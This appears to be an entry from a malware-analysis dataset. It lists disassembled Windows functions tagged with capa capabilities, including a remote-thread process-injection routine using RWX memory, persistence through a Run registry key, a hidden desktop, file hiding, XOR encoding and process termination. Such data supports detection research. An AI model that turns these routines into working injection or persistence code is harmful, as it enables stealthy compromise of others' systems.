joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42ccb4
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42cd52
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
mov edx, 0x1e
call fcn.00406efc
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 2
lea eax, [ebp - 0x24]
mov ecx, 0x42cd6c
mov edx, ebx
call fcn.00404714
mov eax, dword [ebp - 0x24]
call fcn.004048c8
mov dword [ebp - 0x16], eax
lea eax, [ebp - 0x28]
mov ecx, 0x42cd6c
mov edx, esi
call fcn.00404714
mov eax, dword [ebp - 0x28]
call fcn.004048c8
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], 0x614
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42cd59
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00404410
ret

Function at 0x42cd70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42ce28
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x42ce3c
call fcn.00434640
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.004343e0
test al, al
jne 0x42cdfa
push 0x208
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x42cdf3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 5
mov eax, dword [ebp - 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004053c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42cdfa
mov eax, dword [ebp - 8]
push eax
call sub.ole32.dll_CoTaskMemFree
ret
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040c948
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ce2f
lea eax, [ebp - 0xc]
call fcn.004043ec
ret
Function at 0x42d03c
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x42d225
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x461b60]
cmp byte [eax], 0
jne 0x42d07d
call fcn.004274f8
test bl, bl
je 0x42d111
cmp dword [ebp - 4], 0
jne 0x42d098
lea eax, [ebp - 4]
mov edx, 0x42d240
call fcn.00404484
lea eax, [ebp - 0x6c]
mov edx, 0x44
call fcn.00406efc
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.00406efc
mov dword [ebp - 0x6c], 0x44
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x40], 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004048c8
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x42d10c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
mov esi, dword [ebp - 0x28]
jmp 0x42d134
mov byte [ebp - 9], 0
test esi, esi
je 0x42d20a
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x42d20a
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
push 0
push esi
call fcn.00427e4c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42d170
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42d20a
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
lea eax, [ebp - 8]
call fcn.00404920
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call fcn.00427ee4
mov eax, dword [ebp - 8]
call fcn.004046c8
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x42d1bc
cmp eax, dword [esp]
pop edx
pop eax
jae 0x42d1e0
jmp 0x42d1c0
pop edx
pop eax
jge 0x42d1e0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
lea eax, [ebp - 8]
call fcn.00404920
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x18]
push eax
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
test bl, bl
jne 0x42d202
push esi
call sub.kernel32.dll_CloseHandle
test edi, edi
jbe 0x42d20a
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42d22c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret
Function at 0x42e8ac
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
xor ebx, ebx
push 0x20119
lea eax, [esp + 4]
push eax
mov eax, esi
call fcn.004048c8
mov edx, eax
xor ecx, ecx
mov eax, 0x80000001
call fcn.00433ee4
test eax, eax
jne 0x42e909
lea eax, [esp + 8]
push eax
push 0
lea eax, [esp + 0xc]
push eax
push 0
mov eax, edi
call fcn.004048c8
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x42e901
mov bl, 1
mov eax, dword [esp]
call fcn.00433ebc
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret

Function at 0x42e914
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x42e9de
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, 0x42e9f4
call fcn.00404484
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.0042e8ac
test al, al
jne 0x42e9bb
xor ebx, ebx
push 0x102
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004048c8
mov edx, eax
xor ecx, ecx
mov eax, 0x80000001
call fcn.00433ee4
test eax, eax
jne 0x42e9bb
push 1
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 8]
call fcn.004046c8
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
mov edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0xc]
call fcn.004338d0
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
call fcn.00433ebc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42e9e5
lea eax, [ebp - 0x10]
call fcn.004043ec
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret

Function at 0x43065c
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x430784
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
lea eax, [esp + 4]
mov edx, 0x101
call fcn.00406efc
mov dword [esp], 0x101
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x4307be
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.004049f8
jmp 0x4307c5
mov eax, ebx
call fcn.004043ec
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.0040465c
add esp, 0x108
pop ebx
ret
Function at 0x4307e0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor edx, edx
mov dword [ebp - 0x2c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x43085c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x26]
xor ecx, ecx
mov edx, 0x22
call fcn.004030cc
mov dword [ebp - 4], 0x11
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x26]
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x43083f
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x26]
mov ecx, 0x11
call fcn.00404bf0
mov eax, dword [ebp - 0x2c]
mov edx, ebx
call fcn.004332f4
jmp 0x430846
mov eax, ebx
call fcn.004043ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430863
lea eax, [ebp - 0x2c]
call fcn.00404a8c
ret

Function at 0x430c38
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004048c8
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x430c66
test bl, 2
jne 0x430c66
or ebx, 2
push ebx
mov eax, esi
call fcn.004048c8
push eax
call sub.kernel32.dll_SetFileAttributesA
pop esi
pop ebx
ret

Function at 0x430f34
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x430f99
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430fa0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret

Function at 0x431344
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030cc
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.004048c8
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.004048c8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.004048c8
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x4313ea
push 1
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x4313d5
inc esi
cmp esi, 0x7530
jg 0x4313de
cmp dword [ebp - 0x10], 0x103
je 0x4313b4
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4313f8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x431477
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.004331d0
mov edx, dword [ebp - 4]
mov eax, 0x43148c
call fcn.00431ca8
test eax, eax
jle 0x43143f
push 0
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
call fcn.00431848
mov ebx, eax
jmp 0x431461
push esi
push 0x431498
push 0x431498
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
push 0x43149c
push 0
call sub.shell32.dll_ShellExecuteW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43147e
lea eax, [ebp - 4]
call fcn.00404a8c
ret
Function at 0x431848
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404f40
lea eax, [ebp - 8]
call fcn.00404f40
lea eax, [ebp - 0xc]
call fcn.00404f40
xor eax, eax
push ebp
push 0x431a1c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00404d48
je 0x4318cb
push 0x431a30
push dword [ebp - 4]
push 0x431a38
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404d00
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.004081dc
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404aec
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406efc
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406efc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], 0
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404d48
jne 0x431972
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4319e1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x6c]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
jmp 0x4319e1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c1c
mov ebx, eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4319e1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x70]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 8], 0
je 0x4319f4
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431a23
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404aa4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404aa4
ret
Function at 0x431a40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
mov eax, dword [ebp - 0xc]
call fcn.004048b8
xor eax, eax
push ebp
push 0x431c39
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x431ac1
push 0x431c54
push dword [ebp - 4]
push 0x431c60
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404788
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.0040818c
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404484
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406efc
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406efc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x431b14
mov word [ebp - 0x30], 5
push 0
push 0x10000000
push 0
push 0
push 0
mov eax, ebx
call fcn.004048c8
mov esi, eax
push esi
call sub.user32.dll_CreateDesktopA
mov dword [ebp - 0x58], esi
jmp 0x431b1c
mov ax, word [ebp + 8]
mov word [ebp - 0x30], ax
cmp dword [ebp - 0xc], 0
jne 0x431b8f
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x431bfe
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404714
mov eax, dword [ebp - 0x6c]
call fcn.004048c8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
jmp 0x431bfe
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004048c8
mov ebx, eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x431bfe
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404714
mov eax, dword [ebp - 0x70]
call fcn.004048c8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0x10], 0
je 0x431c11
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431c40
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404410
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404410
ret
Function at 0x431d34
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd88
push ebx
xor ebx, ebx
mov dword [ebp - 0x278], ebx
mov dword [ebp - 0x274], ebx
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
call fcn.00404f40
lea eax, [ebp - 0xc]
call fcn.00404f40
xor eax, eax
push ebp
push 0x431ec9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00431c64
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x270]
mov ecx, 0x431edc
mov edx, dword [ebp - 0x10]
call fcn.00404c98
mov eax, dword [ebp - 0x270]
call fcn.00404c1c
push eax
call sub.kernel32.dll_FindFirstFileW
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x431e77
xor eax, eax
push ebp
push 0x431e70
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x240]
mov ecx, 0x104
call fcn.00404bf0
mov eax, dword [ebp - 0x18]
mov edx, 0x431ee4
call fcn.00404d48
je 0x431e45
mov eax, dword [ebp - 0x18]
mov edx, 0x431eec
call fcn.00404d48
je 0x431e45
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
call fcn.00404c98
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00431ca8
test eax, eax
jle 0x431e45
lea edx, [ebp - 0x274]
mov eax, dword [ebp - 0x14]
call fcn.004332f4
mov edx, dword [ebp - 0x274]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x26c]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x431ddb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431e77
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindClose_1
ret
lea edx, [ebp - 0x278]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x278]
mov eax, dword [ebp + 8]
call fcn.00404c0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431ed0
lea eax, [ebp - 0x278]
mov edx, 2
call fcn.00404410
lea eax, [ebp - 0x270]
call fcn.00404a8c
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404aa4
ret
Function at 0x432198
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x432254
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x432234
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x43222a
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov dword [esi], eax
push 4
push 0x1000
mov eax, dword [esi]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43223e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43225b
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x432380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, edi
call fcn.004056f0
mov esi, eax
push esi
mov eax, dword [ebp - 4]
mov ecx, 1
mov edx, dword [0x432358]
call fcn.004058cc
add esp, 4
mov edx, esi
dec edx
test edx, edx
jl 0x4323c9
inc edx
xor eax, eax
mov ecx, esi
sub cl, al
xor cl, byte [edi + eax]
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx]
mov byte [ebx + eax], cl
inc eax
dec edx
jne 0x4323b6
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x432884
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x4329c4
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 4]
call fcn.00407f64
mov edx, dword [ebp - 0x138]
lea eax, [ebp - 4]
call fcn.00404484
xor edx, edx
mov eax, 2
call fcn.0040fa44
mov esi, eax
mov dword [ebp - 0x134], 0x128
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0040fa64
mov edi, eax
jmp 0x432988
lea eax, [ebp - 0x140]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.0040465c
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x13c]
call fcn.00408bec
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0xc]
call fcn.00407f64
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404814
jne 0x432979
mov bl, 1
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x12c]
je 0x432973
push 0
mov eax, dword [ebp - 0x12c]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp byte [ebp - 5], 0
je 0x432990
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0040fa84
mov edi, eax
test edi, edi
jne 0x43290a
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4329cb
lea eax, [ebp - 0x140]
mov edx, 3
call fcn.00404410
lea eax, [ebp - 0xc]
call fcn.004043ec
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x4329d4
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov ebx, eax
test ebx, ebx
jbe 0x4329f9
call sub.kernel32.dll_GetCurrentProcessId
cmp ebx, eax
je 0x4329f9
push 0
push ebx
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov eax, esi
pop esi
pop ebx
ret

Function at 0x432a60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x432ae4
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
test esi, esi
je 0x432ace
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x432ace
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
push eax
push edi
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
push edi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x432aeb
lea eax, [ebp - 4]
call fcn.004043ec
ret